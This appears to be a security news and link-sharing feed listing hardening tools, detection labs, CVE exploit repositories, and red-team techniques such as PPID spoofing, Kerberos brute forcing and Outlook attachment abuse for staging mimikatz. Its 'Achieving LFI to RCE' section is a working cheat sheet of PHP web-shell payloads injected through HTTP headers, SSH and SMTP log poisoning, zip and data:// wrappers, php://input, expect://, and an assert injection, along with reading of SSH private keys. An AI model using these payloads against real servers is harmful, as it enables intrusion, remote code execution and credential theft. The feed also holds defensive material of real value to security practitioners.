APT

CHAPS — Configuration Hardening Assessment PowerShell Script

CHAPS is a PowerShell script for checking system security settings where additional software and assessment tools, such as Microsoft Policy Analyzer, cannot be installed. The purpose of this script is to run it on a server or workstation to collect configuration information about that system. The information collected can then be used to provide recommendations (and references) to improve the security of the individual system and systemic issues within the organization's Windows environment.

https://github.com/cutaway-security/chaps

#powershell #hardening #assessment #blueteam

ManageEngine ADSelfService Plus — Authentication Bypass (CVE-2021-40539)

Details:
https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html

Exploit:
https://github.com/synacktiv/CVE-2021-40539

#adselfservice #cve #auth #bypass

How Windows Stops Kerberos Usernames Being Case Sensitive

https://vbscrub.com/2021/11/29/how-windows-stops-kerberos-usernames-being-case-sensitive/

#kerberos #pre_auth #aes_salt

COM Objects P.1: The Hidden Backdoor in Your System

A deeper dive into COM objects: how to utilize them in redteam engagements, and how to detect and protect organizations from them if you are on the blueteam side.

https://medium.com/maltrak/com-objects-p-1-the-hidden-backdoor-in-your-system-947ac4285e85

#com #backdoor #redteam #blueteam

DetectionLabELK

DetectionLabELK is the perfect lab to use if you would like to build effective detection capabilities. It has been designed with defenders in mind. Its primary purpose is to allow blueteams to quickly build a Windows domain that comes pre-loaded with security tooling and some best practices when it comes to system logging configurations. It can easily be modified to fit most needs or expanded to include additional hosts.

https://github.com/cyberdefenders/DetectionLabELK

#blueteam #detection #elk #lab

Winlogon Password Leaking

The flow is:
— user enters password
— winlogon loads mpnotify.exe
— mpnotify opens RPC channel
— winlogon sends pass via RPC
— mpnotify forwards to DLL
— DLL stores it on disk

https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy

#winlogon #password #leak #redteam

WindowsMDMLPE — CVE-2021-24084

# https://github.com/ohnonoyesyes/CVE-2021-24084

# https://halove23.blogspot.com/2021/06/CVE-2021-24084-Unpatched-ID.html

#mdm #lpe #cve

Achieving LFI to RCE

1. Apache Log Poisoning

GET /show.php?file=/var/log/apache2/access.log&c=ls HTTP/1.1
User-Agent: <?php system($_GET['c'])?>

2. SSH Log Poisoning

ssh '<?php system($_GET['c'])?>'@target.com
/show.php?file=/var/log/auth.log&c=ls

3. SMTP Log Poisoning

telnet target(.)com 25
MAIL FROM:<test@example.com>
RCPT TO:<?php system($_GET['c'])?>
/show.php?file=/var/log/mail.log&c=ls

4. Image Upload

exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
/show.php?file=../img.jpg&c=ls

5. /proc/self/environ

GET /show.php?file=../../proc/self/environ&c=ls HTTP/1.1
User-Agent: <?php system($_GET['c'])?>

6. php://filter

Read source code, it may contain sensitive data (username/passwords, private keys etc)->RCE
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php

"php://filter" is case insensitive. Try URL/Double encoding

7. Zip upload

echo "<?php system($_GET['c'])?>" > shell.php
zip shell(.)zip shell.php
mv shell(.)zip shell.jpg
rm shell.php

/show.php?file=zip://shell.jpg%23shell.php

8. data://text/plain

/show.php?file=data://text/plain,<?php echo base64_encode(file_get_contents("index.php"))?>
/show.php?file=data://text/plain,<?php phpinfo()?>
/show.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pO2VjaG8gJ3NoZWxsISc7Pz4=

9. /proc/self/fd/{id}

Include shell in headers (User-Agent, Authorisation, Referrer etc) and access /proc/self/fd/{id}

10. expect://

/show.php?page=expect://ls

11. input://

POST /index.php?page=php://input HTTP/1.1
<?php system('ls')?>

12. RCE via vulnerable assert statement

Vulnerable Code: assert("strpos('$file', '..') === false") or die("Hacker!");
Payload: ' and die(system("whoami")) or '

13. Log files

/var/log/apache/{access.log or error.log}
/var/log/apache2/error.log
/usr/local/{apache or apache2}/log/error_log
/var/log/nginx/{access.log or error.log}
/var/log/httpd/error_log

Insert payload via headers (User-Agent, Authorisation, Referrer etc)

14. Via PHP sessions

https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/

15. Via SSH

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa

16. vsftpd Log Poisoning

Try to login (ftp) with the PHP payload in the username and access /var/log/vsftpd.log

17. Automation

https://github.com/D35m0nd142/LFISuite

#lfi #rce #cheatsheet

LOLBIN(s): mpiexec.exe & smpd.exe

Path:

C:\Program Files\Microsoft MPI\Bin

mpiexec.exe spawns smpd.exe which then spawns an executable.

Usage:

mpiexec.exe -n 1 c:\path\to\binary.exe

#lolbin #mpiexec #redteam

CVE-2021-43267 — Linux TIPC (PoC)

An article on how to escalate privileges via the slab-buffer-overflow in the Transparent Inter-Process Communication (TIPC) module.

Reference:
https://haxx.in/posts/pwning-tipc/

PoC:
https://github.com/ohnonoyesyes/CVE-2021-43267

#poc #cve #linux #lpe

EfsPotato

MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability

https://github.com/zcgonvh/EfsPotato

#potato #seImpersonateprivilege #lpe

Hunting for Persistence in Linux

# https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/

# https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/

#blueteam #redteam #DFIR #security

4-ZERO-3

Tool to bypass 403/401. This script contain all the possible techniques to do the same.

https://github.com/Dheerajmadhukar/4-ZERO-3

#forbidden #bypass #bugbounty

CVE Trends

CVE Trends gathers crowdsourced intel about CVEs from Twitter's filtered stream API and combines it with data from NIST's NVD and GitHub APIs.

https://cvetrends.com

#cve #trends #monitor

Outlook Attachments

Attackers can compose an email on Outlook (or O365) and attach a file and then use the file's download link to directly download the file. Restricted file types would first need to have their file extension modified (e.g. mimikatz.exe becomes mimikatz.exe.txt) and then upon download the file extension is modified back to the original extension.

1. Compose an email
2. Attach a file (add .txt to the end if it's a restricted file type)
3. Click on the file to download it and grab the link (attachment.outlook.live.net or attachment.office.net)

Link is valid for ~15 minutes.

#outlook #attachments #redteam #phishing

pyKerbrute

Use Python to quickly brute force and enumerate valid Active Directory accounts through Kerberos Pre-Authentication (supports Pass-the-Hash)

https://github.com/3gstudent/pyKerbrute

#ad #kerberos #spray

Clipboard Shellcode Injection

https://gist.github.com/leftp/d89ddc4651a828333d9c0ca5681d1fc8

#clipboard #shellcode #injection #redteam #maldev

Picky PPID Spoofing

Parent Process ID (PPID) Spoofing is one of the techniques employed by malware authors to blend in the target system. This is done by making the malicious process look like it was spawned by another process. This helps evade detections that are based on anomalous parent-child process relationships.

https://capt-meelo.github.io//redteam/maldev/2021/11/22/picky-ppid-spoofing.html

#pid #spoofing #redteam #maldev #malware

InfoSec BlackFriday Offers

- Books
- Courses
- Services
- Software
- Hardware

https://github.com/0x90n/InfoSec-Black-Friday

#BlackFriday #InfoSec